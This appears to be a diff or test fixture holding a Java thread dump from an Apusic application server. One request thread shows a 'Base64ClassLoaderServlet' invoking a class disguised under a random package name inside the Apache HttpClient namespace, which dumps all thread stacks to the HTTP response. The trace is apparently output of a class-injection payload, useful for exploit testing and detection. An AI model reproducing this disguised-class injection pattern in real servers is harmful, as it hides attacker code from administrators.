+ +"pool-17-thread-1" #112 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@181d8a00 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Grizzly(5)" #51 daemon [WAITING] on java.lang.Object@473c6bdd + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"Monitor-Alarm-PHYSICAL_MEMORY-Timer-0" #98 daemon [TIMED_WAITING] on java.util.TaskQueue@a0d1a2a + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"Blueprint Extender: 1" #31 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@154172fe + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Grizzly(8)" #59 daemon [WAITING] on java.lang.Object@473c6bdd + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@3906397f + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"RunLevelControllerThread-1612096200000" #38 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@509f18a3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"deployment-jar-scanner" #128 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@70a749df + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"JMS_PROXY_default_JMS_host-kernel(1) SelectorRunner" #119 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:92) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:312) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:252) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"FelixStartLevel" #24 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at org.apache.felix.framework.Felix.acquireBundleLock(Felix.java:5553) + at org.apache.felix.framework.Felix.setActiveStartLevel(Felix.java:1521) + at org.apache.felix.framework.FrameworkStartLevelImpl.run(FrameworkStartLevelImpl.java:297) + at java.lang.Thread.run(Thread.java:750) + +"access-log-compress-timer" #103 daemon [WAITING] on java.util.TaskQueue@2721ab2 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"FelixResolver-8" #27 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@325e34c3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-55" #147 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@eb26cd1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-1(3)" #67 daemon [WAITING] on java.lang.Object@1448385f + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"Thread-54" #146 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.fs.LinuxWatchService.poll(Native Method) + at sun.nio.fs.LinuxWatchService.access$600(LinuxWatchService.java:47) + at sun.nio.fs.LinuxWatchService$Poller.run(LinuxWatchService.java:314) + at java.lang.Thread.run(Thread.java:750) + +"Thread-58" #150 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@eb26cd1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-7-thread-1" #56 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@725c9138 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-13" #46 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4830d39f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"admin-listener(3)" #82 daemon [WAITING] on java.lang.Object@19dab33a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"pool-13-thread-1" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1520a860 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:139) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"deployment-jar-scanner" #93 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@70a749df + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"DestroyJavaVM" #136 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"RunLevelControllerThread-1612096200000" #35 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@509f18a3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"deployment-jar-scanner" #97 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@70a749df + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"deployment-jar-scanner" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@70a749df + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Grizzly(2)" #48 daemon [WAITING] on java.lang.Object@473c6bdd + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"pool-1-thread-1" #14 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3acfa159 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[StandardEngine[aas-web].StandardHost[server].StandardContext[app]]" #121 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1631) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-1(5)" #70 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.apache.http.client.wmqpQ.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:281) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.apache.catalina.core.StandardWrapper.service(StandardWrapper.java:1579) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:297) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:167) + at org.glassfish.tyrus.servlet.TyrusServletFilter.doFilter(TyrusServletFilter.java:282) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:209) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:167) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:209) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:167) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:215) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:119) + at org.apache.catalina.core.StandardPipeline.doInvoke(StandardPipeline.java:611) + at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:550) + at com.sun.enterprise.web.WebPipeline.invoke(WebPipeline.java:75) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:114) + at org.apache.catalina.connector.CoyoteAdapter.doService(CoyoteAdapter.java:383) + at org.apache.catalina.connector.CoyoteAdapter.doService(CoyoteAdapter.java:198) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:252) + at com.apusic.enterprise.v10.services.impl.ContainerMapper$HttpHandlerCallable.call(ContainerMapper.java:439) + at com.apusic.enterprise.v10.services.impl.ContainerMapper.service(ContainerMapper.java:144) + at org.glassfish.grizzly.http.server.HttpHandler.runService(HttpHandler.java:182) + at org.glassfish.grizzly.http.server.HttpHandler.doHandle(HttpHandler.java:159) + at org.glassfish.grizzly.http.server.HttpServerFilter.handleRead(HttpServerFilter.java:245) + at org.glassfish.grizzly.filterchain.ExecutorResolver$9.execute(ExecutorResolver.java:95) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeFilter(DefaultFilterChain.java:261) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeChainPart(DefaultFilterChain.java:178) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.execute(DefaultFilterChain.java:110) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.process(DefaultFilterChain.java:89) + at org.glassfish.grizzly.ProcessorExecutor.execute(ProcessorExecutor.java:53) + at org.glassfish.grizzly.nio.transport.TCPNIOTransport.fireIOEvent(TCPNIOTransport.java:549) + at org.glassfish.grizzly.strategies.AbstractIOStrategy.fireIOEvent(AbstractIOStrategy.java:89) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.run0(WorkerThreadIOStrategy.java:94) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.access$100(WorkerThreadIOStrategy.java:33) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable.run(WorkerThreadIOStrategy.java:114) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"Grizzly(9)" #60 daemon [WAITING] on java.lang.Object@473c6bdd + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"pool-21-thread-1" #122 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@725c9138 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Monitor-Alarm-THREAD_POOL-Timer-1" #90 daemon [TIMED_WAITING] on java.util.TaskQueue@291549ed + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"Thread-14" #53 daemon [WAITING] on java.lang.Object@6c762f4f + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.apusic.aas.jdbc.pool.monitor.alarm.JDBCPoolAlarm$1.run(JDBCPoolAlarm.java:54) + at java.lang.Thread.run(Thread.java:750) + +"Monitor-Alarm-THREAD_POOL-Timer-2" #91 daemon [TIMED_WAITING] on java.util.TaskQueue@4b2bd6e8 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"RunLevelControllerThread-1612096200000" #37 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@509f18a3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"admin-listener-expirer(1)" #86 daemon [TIMED_WAITING] on java.lang.Object@c53a8ce + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:149) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"access-log-compress-timer" #102 daemon [WAITING] on java.util.TaskQueue@28ab64af + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.apusic.aas.admin.monitor.jdbc.JDBCTracerInitService$JDBCTracerNotificationInfoHandler +com.apusic.aas.apf.impl.AnnotationProcessorImpl +com.apusic.aas.connectors.admin.cli.PingConnectionPool +com.apusic.aas.deployment.common.DeploymentContextImpl +com.apusic.aas.jdbc.admin.cli.InitJdbcConnectionPoolService$1 +com.apusic.aas.jdbc.pool.monitor.alarm.JDBCPoolAlarm$1 +com.apusic.aas.logging.ApusicConsoleHandler +com.apusic.aas.logging.ApusicConsoleHandler$1 +com.apusic.aas.logging.ApusicLogManager$PushThread +com.apusic.enterprise.server.logging.ApusicFileHandler +com.apusic.enterprise.server.logging.ApusicFileHandler$6 +com.apusic.enterprise.v10.admin.CommandRunnerImpl +com.apusic.enterprise.v10.admin.CommandRunnerImpl$2 +com.apusic.enterprise.v10.admin.CommandRunnerImpl$2$1 +com.apusic.enterprise.v10.admin.CommandRunnerImpl$3 +com.apusic.enterprise.v10.admin.CommandRunnerImpl$ExecutionContext +com.apusic.enterprise.v10.admin.adapter.InstallerThread +com.apusic.enterprise.v10.server.APIClassLoaderServiceImpl$APIClassLoader +com.apusic.enterprise.v10.server.AppServerStartup$1 +com.apusic.enterprise.v10.server.ApplicationLifecycle +com.apusic.enterprise.v10.server.ApplicationLoaderService +com.apusic.enterprise.v10.server.ClassLoaderHierarchyImpl +com.apusic.enterprise.v10.services.impl.ContainerMapper +com.apusic.enterprise.v10.services.impl.ContainerMapper$HttpHandlerCallable +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardPipeline +org.apache.catalina.core.StandardWrapper +org.apache.catalina.core.StandardWrapperValve +org.apache.derby.impl.services.daemon.BasicDaemon +org.apache.felix.cm.impl.UpdateThread +org.apache.felix.fileinstall.internal.DirectoryWatcher +org.apache.felix.framework.BundleImpl +org.apache.felix.framework.BundleWiringImpl +org.apache.felix.framework.BundleWiringImpl$BundleClassLoader +org.apache.felix.framework.EventDispatcher +org.apache.felix.framework.EventDispatcher$1 +org.apache.felix.framework.Felix +org.apache.felix.framework.FrameworkStartLevelImpl +org.apache.felix.framework.FrameworkWiringImpl +org.apache.felix.framework.StatefulResolver +org.apache.felix.resolver.ResolverImpl +org.apache.felix.resolver.ResolverImpl$EnhancedExecutor +org.apache.http.client.wmqpQ.ErrorHandler +org.glassfish.grizzly.ProcessorExecutor +org.glassfish.grizzly.filterchain.DefaultFilterChain +org.glassfish.grizzly.filterchain.ExecutorResolver$9 +org.glassfish.grizzly.http.server.HttpHandler +org.glassfish.grizzly.http.server.HttpServerFilter +org.glassfish.grizzly.nio.DefaultSelectorHandler +org.glassfish.grizzly.nio.SelectorRunner +org.glassfish.grizzly.nio.transport.TCPNIOTransport +org.glassfish.grizzly.strategies.AbstractIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable +org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker +org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker +org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable +org.glassfish.tyrus.servlet.TyrusServletFilter +org.jvnet.hk2.config.Transactions$Notifier$1 +org.jvnet.hk2.internal.ServiceHandleImpl +org.jvnet.hk2.internal.ServiceLocatorImpl 